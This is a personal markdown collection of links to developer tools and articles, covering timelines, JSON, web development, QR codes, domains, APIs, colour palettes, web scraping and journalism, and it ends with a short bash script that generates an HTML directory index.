- Python:
- [Timeline](https://github.com/jasonreisman/Timeline): A python tool for creating SVG timelines from JSON.
- [labella.py](https://github.com/GjjvdBurg/labella.py): Python 3 clone of labella.js that generates SVG and TikZ PDF output.
- [TimeLine In Python](https://github.com/sukhbinder/timeline_in_python): Simple Timeline Plot In Python with Matplotlib.
- [How to create a historical timeline with Python](https://stackoverflow.com/questions/50883054/how-to-create-a-historical-timeline-with-python).
- [Creating a timeline with lines, dates, and text](https://matplotlib.org/3.1.1/gallery/lines_bars_and_markers/timeline.html).
- LaTeX:
- [timeline](https://github.com/cfiandra/timeline): TikZ timeline library.
- [Timeline of Arab grammarians](http://andreasmhallberg.github.io/timeline-of-arab-grammarians/)
- [9.8. Generating a timeline](http://latex-cookbook.net/articles/timeline/)
- From SO: [How do I develop a complex time line?](https://tex.stackexchange.com/questions/183046/how-do-i-develop-a-complex-time-line) [How to create a timeline with LaTeX?](https://stackoverflow.com/questions/217834/how-to-create-a-timeline-with-latex)
- Others:
- [Labella.js](https://github.com/twitter/labella.js): Placing labels on a timeline without overlap.
- [Gmvault](http://gmvault.org/): gmail backup by gaubert [gmail backup software](https://github.com/gaubert/gmvault)
### JSON
- [gron](https://github.com/tomnomnom/gron/): Make JSON greppable!
- [JSON Web Tokens (JWT)](https://github.com/dwyl/learn-json-web-tokens): 🔐 Learn how to use JSON Web Token (JWT) to secure your next Web App! (Tutorial/Example with Tests!!)
- [simdjson](https://github.com/lemire/simdjson): Parsing gigabytes of JSON per second.
- [yajl](https://github.com/lloyd/yajl): A fast streaming JSON parsing library in C.
- [JSON Viewer](https://github.com/ashwin/json-viewer)
- [PyJSONViewer](https://pypi.org/project/PyJSONViewer/) [repo](https://github.com/AtsushiSakai/PyJSONViewer)
### WebTools
- [The new Turtl server](https://github.com/turtl/server): evernote [alternative](https://tavernalinux.com/turtl-alternativa-open-source-ao-evernote-instalação-e-review-e84f7aa2d483) free software.
- [OPENBAZAAR](https://www.openbazaar.org/): decentralized marketplace server in go ([repo](https://github.com/OpenBazaar/openbazaar-go))
- [octalmage/robotjs: Node.js Desktop Automation.](https://github.com/octalmage/robotjs)
- [MapTiler - map overlay, cut map tiles for Google Maps, GIS layers and mobile apps – MapTiler](https://www.maptiler.com/)
- [typegram](http://pt.tgr.am/)
- [Ultralight](https://ultralig.ht/)- HTML UI Engine
- [Retool](https://tryretool.com/): Custom internal tools have the same building blocks. Retool gives you those building blocks, so you can build them much faster.
- [ILLA Cloud](https://www.illacloud.com/): ILLA is a robust open source low-code platform for developers to build internal tools. By using ILLA's library of Components and Actions, developers can save massive amounts of time on building tools.
- [GRID: A simple visual cheatsheet for CSS Grid Layout](http://grid.malven.co/)
- [PyPy.js](https://pypyjs.org/) is an experiment in building a fast and compliant python environment for the web. [github](https://github.com/pypyjs/pypyjs)
- [strest](https://github.com/eykhagen/strest): ⚡️ Set up tests for REST in seconds with YAML
- [responder](https://github.com/kennethreitz/responder): a Sorta Familar HTTP Framework for Python (prototype)
- [Design faster web pages, part 1: Image compression](https://fedoramagazine.org/design-faster-web-pages-part-1-image-compression/)
- [Nebular](https://github.com/akveo/nebular): Angular 6 Components, Auth and Security
- [sourcegraph](https://github.com/sourcegraph/sourcegraph): Code search and intelligence, self-hosted and scalable
- [md-page](https://github.com/oscarmorrison/md-page): 📝 create a webpage with just markdown
- [Avatars, identicons, and hash visualization](https://barro.github.io/2018/02/avatars-identicons-and-hash-visualization/)
- [Plus codes](https://plus.codes/)
- [share and discover links - appread.me](http://appread.me/)
- [PyRoles](https://github.com/juditecypreste/PyRoles): Este é um bot no Telegram que faz upload automático de todas as fotos dos rolês que rolaram durante a PyBR!
- [Twitter-Bots](https://github.com/internetlab-br/Twitter-Bots): Códigos utilizados para pesquisar sobre bots em perfis do Twitter
- [thelounge](https://github.com/thelounge/thelounge): Modern, responsive, cross-platform, self-hosted web IRC client.
- [qr-image](https://github.com/alexeyten/qr-image): This is yet another QR Code generator.
- [gogs](https://github.com/gogs/gogs): Gogs is a painless self-hosted Git service.
- [bitwarden](https://bitwarden.com/): online and free password manager. [core](https://github.com/bitwarden/core) on github.
- [writefreely](https://github.com/writeas/writefreely): A painless, simple, federated blogging platform.
- [markdownlint](https://github.com/DavidAnson/markdownlint): A Node.js style checker and lint tool for Markdown/CommonMark files.
- [Notepin](https://notepin.co/): Extremely simple note taking
- [Startpage](https://www.startpage.com/): privacy search.
- [searX](https://github.com/bauruine/searx/): Privacy-respecting metasearch engine
- [Next](https://next.atlas.engineer/) Browser: Be Productive. [github](https://github.com/atlas-engineer/next)
- [Next](https://next.atlas.engineer/) Browser: Be Productive. [github](https://github.com/atlas-KDE/next)
- [ulid](https://github.com/ulid/spec): The canonical spec for ulid - Universally Unique Lexicographically Sortable Identifier.
- [MKCERT](https://blog.filippo.io/mkcert-valid-https-certificates-for-localhost/): VALID HTTPS CERTIFICATES FOR LOCALHOST, [github](https://github.com/FiloSottile/mkcert).
- [uncaptcha2](https://github.com/ecthros/uncaptcha2): defeating the latest version of ReCaptcha with 91% accuracy
- [DeleteFB](https://github.com/weskerfoot/DeleteFB): A Selenium script to delete your Facebook content.
- [TicketLens](https://www.ticketlens.com/en): Find the best tickets, tours, and activities and compare prices from different websites.
- [WeasyPrint](https://github.com/Kozea/WeasyPrint): WeasyPrint converts web documents (HTML with CSS, SVG, …) to PDF.
- [grid-kiss playground](https://sylvainpolletvillard.github.io/grid-kiss-playground/index.html#multiple-span-zones)
- [OpenTeams](https://openteam.info/): Quick organizational mapping with email and survey data
- [Protocol buffers](https://developers.google.com/protocol-buffers/) are a language-neutral, platform-neutral extensible mechanism for serializing structured data.
- [FeaturePeek](https://featurepeek.com/): Front-end review for the whole team.
- [TRAILS OF WIND](https://trailsofwind.figures.cc/): The architecture of airport runways
- [IAVisa](https://iavisa.com/): is a site that offers you the best information about visas, such as: what types of visa you need to travel to a particular country, what situations you will face, what documents you need to obtain, but also many other information that you will most likely need.
- [Postman](https://www.getpostman.com/): Postman is a collaboration platform for API development. Postman's features simplify each step of building an API and streamline collaboration so you can create better APIs—faster. Some pt-br [tutorial about postman](https://developercielo.github.io/tutorial/postman)
- [tldr](https://github.com/tldr-pages/tldr): [Simplified and community-driven man pages](https://tldr.sh).
- [Burlesco](https://burles.co/): Leia notícias sem ser assinante, burle o paywall. [github](https://github.com/burlesco/burlesco)
- [Mailinator](https://www.mailinator.com/): The Mailinator Email System puts millions of inboxes right at your fingertips. It is an amazing Email Workflow Testing tool for your Software or Service. [repo](https://github.com/mail-in-a-box/mailinabox)
- [tempmail](https://temp-mail.org/en/): Your Temporary Email Address
- [mail phantom](https://mailphantom.io/): Hide your email address when you sign up to newsletters, apps or your favourite websites.
- [jor1k](https://github.com/s-macke/jor1k): Online OR1K Emulator running Linux
- [calver](https://github.com/mahmoud/calver): date The web's go-to resource for Calendar Versioning info.
- [gifcap](https://gifcap.dev): Create animated GIFs from a screen recording.
- [Handesk](https://github.com/BadChoice/handesk): A Powerful Laravel Help Desk and Lead Management App
- [qrpicture](https://github.com/xyzzy/qrpicture): Photo realistic QR codes hosted on www.qrpicture.com.
- [Archivy](https://github.com/archivy/archivy): is a self-hosted knowledge repository that allows you to safely preserve useful content that contributes to your knowledge bank.
- [RSSHub](https://github.com/DIYgod/RSSHub): Everything is RSSible
- [cypress](https://github.com/cypress-io/cypress): Fast, easy and reliable testing for anything that runs in a browser.
- [jira_clone](https://github.com/oldboyxx/jira_clone): A simplified Jira clone built with React/Babel (Client), and Node/TypeScript (API). Auto formatted with Prettier, tested with Cypress.
- [svg2nvg](https://github.com/ollix/svg2nvg): A tool for converting SVG files to nanovg source code
- [tslib](https://github.com/microsoft/tslib): Runtime library for TypeScript helpers.
- [Eric Lathrop / Living in Syndication](https://gitlab.com/ericlathrop/living_in_syndication)
- [hnapi](https://github.com/FormerlyChucks/hnapi): Python Hacker News API Wrapper
#### QR Code
- [Creating a QR Code step by step](https://www.nayuki.io/page/creating-a-qr-code-step-by-step)
- [qrcode-bot](https://github.com/jveres/qrcode-bot): Artistic QR code generator bot for Facebook Messenger
- [ZXing](https://github.com/zxing/zxing)("Zebra Crossing"): barcode scanning library for Java, Android
- [How to generate dynamic QRCode for WeChat Mini-Program?](https://blog.shanghaicoders.com/how-to-generate-dynamic-qrcode-for-wechat-mini-program-8a591504c95)
- [QR Code generator library](https://github.com/nayuki/QR-Code-generator): High-quality QR Code generator library in Java, TypeScript/JavaScript, Python, C++, C, Rust.
- [EFQRCode](https://swiftpackageregistry.com/EFPrefix/EFQRCode): A better way to operate QR Code in Swift, support iOS, macOS, watchOS and tvOS.
- [qrbtf](https://github.com/ciaochaos/qrbtf): An art QR code (qrcode) beautifier.
- [HOW TO PUT YOUR LOGO IN A QR CODE](https://hackaday.com/2011/08/11/how-to-put-your-logo-in-a-qr-code/)
- [Amazing-QR](https://github.com/x-hw/amazing-qr): amazing QR-Code generator in Python (supporting animated gif) - Python amazing.
- [QR Code SVG Logo Generator](https://github.com/DDRBoxman/QR-Code-SVG-Logo-Generator).
#### Domains
- [Check domain name availability with bash and whois](https://linuxconfig.org/check-domain-name-availability-with-bash-and-whois)
- [namegrep](https://namegrep.com/)
- [10 Fantastic Tools to Find Smart Domain Name for Your Business](https://geekflare.com/find-domain-name/)
- [dnstwist](https://github.com/elceef/dnstwist): Domain name permutation engine for detecting typo squatting, phishing and corporate espionage
- [Dictionary Domains](http://www.dictionarydomains.co/)
- [Python Script for Getting Data You Need From Domain Names Lists](https://domains-index.com/tips-using-domains-indexs-lists/)
- [Creating python dictionary that maps each domain to multiple coded values in File Geodatabase?](https://gis.stackexchange.com/questions/197834/creating-python-dictionary-that-maps-each-domain-to-multiple-coded-values-in-fil)
- [dnsimple-python](https://github.com/onlyhavecans/dnsimple-python): Python API client for DNSimple's Domain Management Automation
- [njalla](https://njal.la/#pricing): Njalla was started because we couldn't find a domain name service that we ourselves wanted to use. Our goals are to be caring about privacy, simple and flexible.
#### Webdev
- [Always. Own. Your platform.](http://www.alwaysownyourplatform.com/)
- [HTTP/3](https://blog.cloudflare.com/http-3-from-root-to-tip/): From root to tip
- [css-html-js-minify](https://github.com/juancarlospaco/css-html-js-minify): StandAlone Async cross-platform Minifier for the Web.
- [fontello](https://github.com/fontello/fontello): Iconic fonts scissors
- [Automate a web browser with Selenium](https://fedoramagazine.org/automate-web-browser-selenium/)
- [Spectre.css](https://github.com/picturepan2/spectre): A Lightweight, Responsive and Modern CSS Framework
- [Google Optmize](https://marketingplatform.google.com/about/optimize/): Your website is your store window.
- [Google web.dev](https://web.dev/measure): Review performance and get detailed guidance on how to improve it. Sign-in to monitor your progress over time.
- [VisBug](https://github.com/GoogleChromeLabs/projectvisbug): 🎨 Make any webpage feel like an artboard, download extension here
- [DoodleMaster](https://github.com/karanchahal/DoodleMaster): The Doodle Master seeks to turn your UI mockups into real code. Currently this repository just serves to demonstrate a Proof Of Concept of Artificially Intelligent Design Tools.
- [Themes for Pelican](https://github.com/getpelican/pelican-themes)
- [Pelican theme based on html5-dopetrope design.](https://github.com/PierrePaul/html5-dopetrope)
- [Flex](https://github.com/alexandrevicenzi/Flex): The minimalist Pelican theme.
- [pelican theme Dev-Random3](https://github.com/22decembre/dev-random3)
- [HOW TO CENTER IN CSS](http://howtocenterincss.com/): Centering in CSS is a pain in the ass. There seems to be a gazillion ways to do it, depending on a variety of factors. This consolidates them and gives you the code you need for each situation.
- [Vaadin Tutorial application](https://github.com/vaadin/tutorial): Introduction to Vaadin Framework 8
- [NES.css](https://bcrikko.github.io/NES.css/) - [github](https://github.com/BcRikko/NES.css)
- [wedding-website](https://github.com/rampatra/wedding-website)
- [Favicon Generator](https://realfavicongenerator.net/). For real.
- [Are You a Blogger or Publisher?](https://websitevoice.com/): Turn your articles to high-quality audio for your audience to listen while they’re busy multitasking or on the go.
- [Inside look at modern web browser (part 1)](https://developers.google.com/web/updates/2018/09/inside-browser-part1): In this 4-part blog series, we’ll look inside the Chrome browser from high-level architecture to the specifics of the rendering pipeline.
- Forms:
- [react-jsonschema-form](https://github.com/mozilla-services/react-jsonschema-form): A React component for building Web forms from JSON Schema.
- [json-forms](https://github.com/brutusin/json-forms): JSON Schema to HTML form generator, supporting dynamic subschemas (on the fly resolution). Extensible and customizable library with zero dependencies. Bootstrap add-ons provided.
- [schemaform](http://schemaform.io/): Generate forms from a JSON schema, with AngularJS! [github](https://github.com/json-schema-form/angular-schema-form)
- [Formasaurus](https://github.com/TeamHG-Memex/Formasaurus): Formasaurus tells you the type of an HTML form and its fields using machine learning.
- Presentantions:
- [markdeck](https://github.com/arnehilmann/markdeck): presentations as code - author cool slide decks, text-only, offline-ready, collaborative.
- PHP:
- [A curated list of bookmarks, packages, tutorials, videos and other cool resources from the Laravel ecosystem](https://github.com/chiraggude/awesome-laravel)
- [PHP Apprentice](https://phpapprentice.com/): An online book for learning PHP. [github](https://github.com/restoreddev/phpapprentice)
- [JHRW](https://github.com/galvao/JHRW): JavaScript HTTP Request Wrapper. A wrapper for so-called "AJAX" Requests.
- [My Modern PHP Development Setup](https://johnmackenzie.co.uk/post/my-modern-php-development-setup/): With this combination of formatters, linters and build tools I am able to create a fully testible, completely portable solution with adheres to PSR coding standards.
- [shiny](https://github.com/rikschennink/shiny): Shiny reflections for mobile websites.
- [splinter](https://github.com/cobrateam/splinter): python test framework for web applications.
- [revery](https://github.com/revery-ui/revery): ⚡️ Native, high-performance, cross-platform desktop apps - built with Reason!
- [tellform](https://github.com/tellform/tellform): ✏️ Free Opensource Alternative to TypeForm or Google Forms ⛺. [site](https://tellform.com/)
- [material-kit](https://github.com/creativetimofficial/material-kit): Free and Open Source UI Kit for Bootstrap 4, React, Vue.js, React Native and Sketch based on Google's Material Design.
- [Flexible data tables with CSS Grid](https://adamlynch.com/flexible-data-tables-with-css-grid/?1)
- [Sites inclusivos a pessoas com autismo](https://gaia.wiki.br/): O GAIA é um conjunto aberto e colaborativo de 28 recomendações de acessibilidade web focado nos aspectos do autismo, abordando desde a escrita de conteúdo até recursos programáveis.
- [Banish the � with Unifont](https://shkspr.mobi/blog/2019/04/banish-the-%EF%BF%BD-with-unifont/).
- [Web development, illustrated.](https://illustrated.dev/)
- [339 bytes of responsive CSS](https://blog.koley.in/2019/339-bytes-of-responsive-css)
- [Making Tables Responsive With Minimal CSS](https://bradleytaunt.com/2019/06/11/responsive-tables/)
- [JSON-SERVER With Authorization JWT](https://github.com/valmirphp/json-server): sample json-server authorization token.
- [css-components](https://github.com/felipefialho/css-components): A set of common UI Components using the power of CSS and without Javascript.
- [User Inyerface](https://userinyerface.com/): Hi and welcome to User Inyerface, a challenging exploration of user interactions and design patterns.
- [gradient-path](https://github.com/mnsht/gradient-path): A small library to have any gradient follow along any SVG path.
- [hostyoself](https://github.com/schollz/hostyoself): Host yo' self from your computer, your browser, your phone, etc.
- [How SAML 2.0 Authentication Works](https://gravitational.com/blog/how-saml-authentication-works/)
- [web design tool](https://www.thewebdesigntool.com/) is a free online bootstrap css grid layout generator. Make Responsive web design with Top css frameworks without learn them.
- [CSS Grid Generator](https://cssgrid-generator.netlify.com/)
- [Super Tiny Social Icons](https://github.com/edent/SuperTinyIcons): Under 1KB each! Super Tiny Icons are miniscule SVG versions of your favourite website and app logos.
- [DARK PATTERNS](https://www.darkpatterns.org/): Dark Patterns are tricks used in websites and apps that make you do things that you didn't mean to, like buying or signing up for something. The purpose of this site is to spread awareness and to shame companies that use them.
- [A complete guide to Oauth2 protocol](https://milapneupane.com.np/2019/09/02/a-complete-guide-to-oauth2-protocol/)
- [COBOL Web Development](http://www.infogoal.com/cbd/cbdweb.htm)
- [Base](https://www.base-api.io/): Authentication, email sending, file and image storage and much more in one simple API, built for developers.
- [Two Browsers Walked Into a Scrollbar](https://www.filamentgroup.com/lab/scrollbars/)
- [laptop.css](https://jjkaufman.github.io/laptop.css/index.html)
- [Head](https://github.com/joshbuchea/head): 🗿 A list of everything that *could* go in the head of your document. [htmlhead.dev](https://htmlhead.dev/)
- Images done right: [Web graphics, good to the last byte](https://evilmartians.com/chronicles/images-done-right-web-graphics-good-to-the-last-byte-optimization-techniques).
- [Dark mode in a website with CSS](https://tombrow.com/dark-mode-website-css)
- [Re-writing Vy.no in Elm](https://blogg.bekk.no/using-elm-at-vy-e028b11179eb).
- [Flask Google Maps](https://github.com/flask-extensions/Flask-GoogleMaps): Easy way to add GoogleMaps to Flask applications.
- [bruno simon](https://bruno-simon.com/)'s website. amazing work.
- [CSS Zen Garden](http://www.csszengarden.com): The Beauty of CSS Design
- [react-ultimate-resume](https://github.com/welovedevs/react-ultimate-resume): 💼 🎨 A modern software developer resume built with React and JSONResume
- [analytics](https://github.com/plausible/analytics): Simple and privacy-friendly alternative to Google Analytics.
- [Brython](https://brython.info/index.html): A Python 3 implementation for client-side web programming.
- [decentraleyes](https://decentraleyes.org/): Local CDN Emulation. [Decentraleyes](https://git.synz.io/Synzvato/decentraleyes) a web browser extension that emulates Content Delivery Networks to improve your online privacy.
- [Things I Wish I’d Known About CSS](https://cssfordesigners.com/articles/things-i-wish-id-known-about-css)
- [DIY Video Hosting](https://tyler.io/diy-video-hosting/): vimeo + AWS.
- [3D Book Image CSS Generator](https://3d-book-css.netlify.app/)
- [Hit Counter](https://github.com/brentvollebregt/hit-counter): Easily count hits on a website by requesting a SVG displaying hit count
- [Google Fonts Plugin](https://github.com/SirPole/google-fonts-plugin): Webpack plugin that downloads fonts from Google Fonts and encodes them to base64
- [kratos](https://github.com/ory/kratos): Never build user login, user registration, 2fa, profile management ever again! Works on any operating system, cloud, with any programming language, user interface, and user experience! Written in Go.
- [CobWeb](https://github.com/cloudflare/cobweb): COBOL to WebAssembly compiler.
- [model_bakery](https://github.com/model-bakers/model_bakery): Object factory for django.
- [Caule Themes Pack 1](https://github.com/orickcorreia/caule-themes-pack-1): 10 modern colors | 4 categories of styles (Black Glass, Black, Dark, Light) | 40 themes in total | Animated icons for the weather forecast card | And a bonus automatic theme selector for your interface.
- [face-replace](https://github.com/seanquinn781/face-replace): React Flask GUI app to replace faces in Video or Images with Emojis, Boxes or Blur. Uses Centerface & Deface for facial recognition and ImageIO for image processing
- [1MB Club](https://1mb.club/) [repo](https://github.com/bradleytaunt/1mb-club)
- [servo](https://servo.org/)'s mission is to provide an independent, modular, embeddable web engine, which allows developers to deliver content and applications using web standards.
- [Awesome Resource For Your Web Projects: 75+ Background Resources](https://dev.to/kiranrajvjd/awesome-resource-for-your-web-projects-75-background-resources-2cm8)
- [JPEG XL and libjxl community website](https://jpegxl.info/): JPEG XL (.jxl) is the next-generation, general-purpose image compression codec by the JPEG committee.
- [Flask Session Cookie Decoder/Encoder](https://github.com/noraj/flask-session-cookie-manager)
- [What is sustainable web design?](https://sustainablewebdesign.org/)
- [DuckDB-Wasm](https://duckdb.org/2021/10/29/duckdb-wasm.html): Efficient Analytical SQL in the Browser. [duckdb](https://github.com/duckdb/duckdb)
- [JSON Web Tokens e o seu uso no gerenciamento de sessão](https://www.mentebinaria.com.br/artigos/json-web-tokens-e-o-seu-uso-no-gerenciamento-de-sess%C3%A3o-r79/)
##### Backend
- [Appwrite](https://github.com/appwrite/appwrite): is a secure end-to-end backend server for Web, Mobile, and Flutter developers that is packaged as a set of Docker containers for easy deployment .
##### JavaScript
- [The cost of JavaScript in 2019](https://v8.dev/blog/cost-of-javascript-2019)
- [lerna](https://github.com/lerna/lerna): A tool for managing JavaScript projects with multiple packages.
- [30-seconds-of-code](https://github.com/30-seconds/30-seconds-of-code): Curated collection of useful JavaScript snippets that you can understand in 30 seconds or less.
- [Handsontable](https://github.com/handsontable/handsontable): JavaScript/HTML5 Data Grid Component with Spreadsheet Look & Feel. Available for React, Vue and Angular.
- [Aurelia](https://aurelia.io/): is a collection of Modern JavaScript modules, which when used together, function as a powerful platform for building browser, desktop and mobile applications, all open source and built on open web standards.
- [Polymer Project](https://www.polymer-project.org/): Libraries, tools, and standards for a better web: LitElement, lit-html, web components...
- [Svelte](https://svelte.dev/): Cybernetically enhanced web apps
- [three.js](https://www.npmjs.com/package/three): The aim of the project is to create an easy to use, lightweight, 3D library with a default WebGL renderer. The library also provides Canvas 2D, SVG and CSS3D renderers in the examples.
- [JavaScript is C](https://v4.chriskrycho.com/2018/javascript-is-c.html): Maintaining invariants the most painful way possible.
- [nazca](https://github.com/Qinti/nazca): A new way of creating GUI in the web
- [Calculator in JavaScript](https://www.scaler.com/topics/calculator-in-javascript/)
##### JavaScript Tools
- [Online JavaScript Beautifier](https://beautifier.io/): Beautify, unpack or deobfuscate JavaScript and HTML, make JSON/JSONP readable, etc.
##### API
- [I created Postwoman 👽](https://www.indiehackers.com/post/17788d573f)- An [online](https://liyasthomas.github.io/postwoman/), open source API request builder.
- [dashblock](https://dashblock.com/): TURN ANY WEBSITE INTO AN API
- [scanapi](https://github.com/scanapi/scanapi): Automated Integration Testing and Live Documentation for your API
- [A Python 3 implementation for client-side web programming](https://brython.info/)
- [Tyk API Gateway](https://github.com/tyktechnologies/tyk): Tyk Open Source API Gateway written in Go
- [Free API and Microservice Books](https://apiacademy.co/api-books/)
- [fastapi-course](https://github.com/Sanjeev-Thiyagarajan/fastapi-course)
##### REST API
- [REST API Testing Tutorial](https://www.guru99.com/testing-rest-api-manually.html): Sample Manual Test Case
- [The Web API Checklist](https://mathieu.fenniak.net/the-api-checklist/): 43 Things To Think About When Designing, Testing, and Releasing your API
- [API-Security-Checklist](https://github.com/shieldfy/API-Security-Checklist): Checklist of the most important security countermeasures when designing, testing, and releasing your API
- [REST API Checklist](https://www.kennethlange.com/rest-api-checklist/)
- [Your Comprehensive Web API Design Checklist](https://www.phase2technology.com/blog/your-comprehensive-web-api-design-checklist)
- [REST Security Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md): CheatSheetSeries
- [API Security Testing](https://www.testbytes.net/blog/api-security-testing-rules-and-checklist/): Rules And Checklist
- [Penetration Testing RESTful Web Services](http://blog.isecurion.com/2017/10/10/penetration-testing-restful-web-services/)
- [RESTful web services penetation testing](https://hydrasky.com/network-security/restful-web-services-penetation-testing/)
- [Astra](https://tech.flipkart.com/astra-automated-security-testing-for-rest-apis-a54b999dbfe9?gi=2af3bebcabc8): Automated Security Testing for REST API’s
- [GraphQL](https://graphql.org/): GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools. [graphiql](https://github.com/graphql/graphiql): An in-browser IDE for exploring GraphQL.
### Web Services
- [Notion](https://www.notion.so/): Write, plan, collaborate, and get organized.
- [Postmake](https://postmake.io/): A directory of the best tools and resources for your projects
- [nuclear](https://github.com/nukeop/nuclear): Popcorn Time for music. [github](https://github.com/nukeop/nuclear)
- [TERRAPATTERN](http://www.terrapattern.com/): This is the alpha version of Terrapattern, a visual search tool for satellite imagery. The project provides journalists, citizen scientists, and other researchers with the ability to quickly scan large geographical regions for specific visual features.
- [Pixelfed](https://pixelfed.social/) is an image sharing platform, an ethical alternative to centralized platforms.
- [The IA Client](http://blog.archive.org/2019/06/05/the-ia-client-the-swiss-army-knife-of-internet-archive/): The Swiss Army Knife of Internet Archive. [python library](https://archive.org/services/docs/api/internetarchive/)
- [HTTP Security Headers](https://nullsweep.com/http-security-headers-a-complete-guide/) - A Complete Guide
- [HTML is the Web](https://www.petelambert.com/journal/html-is-the-web)
- [The New Able Editor](https://able.bio/rhett/the-new-able-editor--596ha6x). [suggestion-box](https://github.com/able-bio/suggestion-box): A place to submit issues for bugs, feature requests and other ideas related to Able.
- [wobaka](https://wobaka.com/): is the CRM system that will make you smile.
- [accountanalysis](http://accountanalysis.app/): This tool enables you to evaluate Twitter accounts. For example how automated they are, how many Retweets they post, or which websites they link to most often.
- [Hosted Comments Service | Remarkbox](https://www.remarkbox.com/remarkbox-is-now-pay-what-you-can.html)
- Twitter:
- [accountanalysis](http://accountanalysis.app/): This tool enables you to evaluate Twitter accounts. For example how automated they are, how many Retweets they post, or which websites they link to most often.
- [How To Get Tweets From A Twitter Account Using Python And Tweepy](https://labsblog.f-secure.com/2018/01/26/how-to-get-tweets-from-a-twitter-account-using-python-and-tweepy/)
- [Automatically delete your old tweets, except for the ones you want to keep](https://semiphemeral.com/)
- [semiephemeral](https://semiphemeral.com/): Automatically delete your old tweets, except for the ones you want to keep. [repo](https://github.com/micahflee/semiphemeral)
- [Tweak New Twitter](https://github.com/insin/tweak-new-twitter/): Browser extension which removes algorithmic content from Twitter, hides news & trends, lets you control which shared tweets appear on your timeline, and adds other UI improvements.
#### Graphics
- [Upscale bitmap images with better results](https://fedoramagazine.org/upscale-bitmap-images-better-results/), [simila](https://github.com/lupoDharkael/smilla-enlarger).
- [Rexpaint](https://www.gridsagegames.com/rexpaint/): is a powerful and user-friendly ASCII art editor. Use a wide variety of tools to create ANSI block/line art, roguelike mockups and maps, UI layouts, and for other game development needs.
- [Doka](https://pqina.nl/doka/image-editor/): free online image editor.
- [X Window System Basics](https://magcius.github.io/xplain/article/x-basics.html)
- [PaperView](https://glouw.com/2020/08/02/Paperview.html), repo:[PAPERVIEW](https://github.com/glouw/paperview): A high performance X11 animated wallpaper setter
- [The Fastest, Safest PNG Decoder in the World](https://nigeltao.github.io/blog/2021/fastest-safest-png-decoder.html)
#### CMS
- [Tale](https://github.com/chesterhow/tale) is a minimal Jekyll theme curated for storytellers.
- [pH7-Social-Dating-CMS](https://github.com/pH7Software/pH7-Social-Dating-CMS)
- Static Site Generators:
- [VuePress](https://forestry.io/blog/vuepress-brings-your-documentation-to-life/) is a static site generator based on Vue JavaScript framework.
- [Publii](https://github.com/GetPublii/Publii) is a desktop-based CMS for Windows and Mac that makes creating static websites fast and hassle-free, even for beginners.
- [StaticGen](https://www.staticgen.com/): Top Open Source Static Site Generators
- [notablog](https://github.com/dragonman225/notablog): Generate a minimalistic blog from a Notion table.
- (pt-br) [Civitas](https://github.com/CivitasOrg/): Civitas é um projeto para organização de comunidades de desenvolvimento.
- [Trailing Slash Guide](https://github.com/slorber/trailing-slash-guide): The ultimate resource to fix url trailing slash issues in static deployments (static websites, Jamstack).
#### Colors
- [2 Colors-Gradient Generator](https://www.colorffy.com/generator/gradients)
- [colorgram.py](https://github.com/obskyr/colorgram.py): A Python module for extracting colors from images. Get a palette of any picture!
- [Color Thief](https://lokeshdhakar.com/projects/color-thief/): Grab the color palette from an image using just Javascript. Works in the browser and in Node. [Color Thief github](https://github.com/fengsp/color-thief-py): Grabs the dominant color or a representative color palette from an image. Uses Python and Pillow.
- [21 Color Palette Tools for Web Designers and Developers](https://learntocodewith.me/posts/color-palette-tools/)
- [Python Logo Colors with Hex & RGB Codes](https://www.schemecolor.com/python-logo-colors.php)
- [Generating color palettes from movies with Python](https://medium.com/@andrisgauracs/generating-color-palettes-from-movies-with-python-16503077c025). github repo: [python-color-palette-generator](https://github.com/andrisgauracs/python-color-palette-generator), A Python based program, that can generate color palettes for a specified number of video frames and ultimately combine them into a final color palette group image.
- [canva](https://www.canva.com/colors/color-palette-generator/): The easiest place to get colors from your photos
- [Palette Generator](https://palettegenerator.com/): Find design inspiration with natural image palletes extracted using k-means algorithm. This palette generator will create a color palette based on the predominant colors in your image. You can use it in your art projects, web design or home decor.
- [ColorSpace](https://mycolor.space/): Never waste Hours on finding the perfect Color Palette again!
- [Color Hunt](https://colorhunt.co/): is a free and open platform for color inspiration with thousands of trendy hand-picked color palettes
- [Paletton](https://paletton.com/): is an online application located on the internet.
- [Colormind](http://colormind.io/): is a color scheme generator that uses deep learning.
- [Building Your Color Palette](https://refactoringui.com/previews/building-your-color-palette/)
- [ffflux](https://fffuel.co/ffflux/)
### WebScraping
- [Web Scraping 101 in Python with Requests & BeautifulSoup](https://www.statworx.com/at/blog/web-scraping-101-in-python-with-requests-beautifulsoup/).
- [Scraping Headlines From News Website Homepages Using BeautifulSoup in Python](https://stackoverflow.com/questions/55033291/scraping-headlines-from-news-website-homepages-using-beautifulsoup-in-python)
- [WitnessMe](https://github.com/byt3bl33d3r/WitnessMe): Web Inventory tool, takes screenshots of webpages using Pyppeteer (headless Chrome/Chromium) and provides some extra bells & whistles to make life easier.
- [P.A.I.F](https://github.com/T635/P.A.I.F): automatic facebook image poster.
- [Python and the Web](https://github.com/Python-World/Python_and_the_Web): Build Bots, Scrape a website or use an API to solve a problem.
## Journalism
- (pt-br) [Jornalismo Guiado por Dados 1](https://rodrigomenegat.github.io/jgd-1/).
- [SourcedFact](https://sourcedfact.com/): Journalism with Open Sourced Fact Checking
- [AD.Watch](https://ad.watch/): challenges the closedness of access to political advertising information. The project compiles datasets of political ads on Facebook and Instagram and creates interfaces for their use, with a view to opening up the possibilities for its study. With ad.watch, you can explore both country-specific contextual issues and political strategies, as well as broader questions about the power of persuasion that the use of personal data facilitates.
---
### Little notes
- [Auto index html bash script](http://www.alecjacobson.com/weblog/?p=192)
```bash
#!/bin/bash
# usage: auto-index [dir]
INDEX=`ls -1 $1 | sed "s/^.*/ <li\>\<a\ href=\"&\"\>&\<\\/a\>\<\\/li\>/"`
echo "<html>
<head><title>Index of $1</title></head>
<body>
<h2>Index of $1</h2>
<hr>
<ui>
$INDEX
<ui>
</body>
</html>"
```
- Run it as:
```bash
./auto-index.sh [path to dir] > index.html
```
---
## Cloud
- [no more google](https://nomoregoogle.com)
- [Cloud Custodian](https://cloudcustodian.io/): [Opensource Cloud Security, Governance, and Management](https://github.com/cloud-custodian/cloud-custodian)
- [Mapping of On-Premises Security Controls vs. Major Cloud Providers Services](http://www.eventid.net/docs/onprem_to_cloud.asp)
